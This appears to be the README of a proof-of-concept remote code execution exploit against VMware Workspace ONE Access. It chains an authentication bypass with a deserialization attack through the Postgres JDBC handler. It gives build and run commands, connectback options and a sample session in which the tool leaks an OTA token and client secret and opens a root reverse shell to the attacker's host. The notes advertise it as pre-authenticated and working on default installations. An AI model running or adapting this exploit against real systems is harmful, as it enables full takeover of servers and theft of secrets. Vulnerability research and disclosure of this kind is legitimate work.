exploit

Summary

An attacker can leverage the licensecheck-1.1.5.jar library to trigger a deserialization in the com.vmware.licensecheck.LicenseChecker class when using the Postgres JDBC handler. It has an added advantage that an out-of-band attack isn't required. Please see the following exploit code for details.

Build

1. Compile ysoserial-0.0.6-SNAPSHOT-all.jar and place it in the libs directory
2. Build with mvn clean compile assembly:single

Notes

• No outbound network access required
• Works on default installation
• Pre-authenticated
• Achieves root access
• Worked against VMWare's cloud

For more information about the vulnerabilities (ab)used, please see the main repo README.

Run

Run the exploit with java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc

Example

researcher@mars:~/eclipse-workspace/exploit$ java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc
   __ __    __        __
  / // /__ / /_____ _/ /____
 / _  / -_)  '_/ _ `/ __/ -_)
/_//_/\__/_/\_\\_,_/\__/\__/

A VMWare Workspace ONE Access RCE Exploit
By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute

Missing required options: t, c
usage: Poc
 -c,--connectback <arg>   The connectback ip or hostname and port
 -t,--target <arg>        The target ip

researcher@mars:~/eclipse-workspace/exploit$ java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc -t 192.168.2.97 -c 192.168.2.234
   __ __    __        __
  / // /__ / /_____ _/ /____
 / _  / -_)  '_/ _ `/ __/ -_)
/_//_/\__/_/\_\\_,_/\__/\__/

A VMWare Workspace ONE Access RCE Exploit
By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute

(+) targeting 192.168.2.97
(+) listening at port 1337
(+) leaked ota token: f5c8ae0b-7b86-3233-a8dd-ff6b08779feb:j2UL6TSQc45RHnb9Y7HqNNH3lVMT9ZU8
(+) leaked client secret: gKX0GX8fUWvlR6Vdsm3DOT7yE82CXTOq
(+) bypassed authentication!
(+) triggering deserialization attack...
(+) connection from 192.168.2.97
(+) pop thy shell!
bash: cannot set terminal process group (2099): Inappropriate ioctl for device
bash: no job control in this shell
id
uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess)
uname -a
Linux module5.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux
^C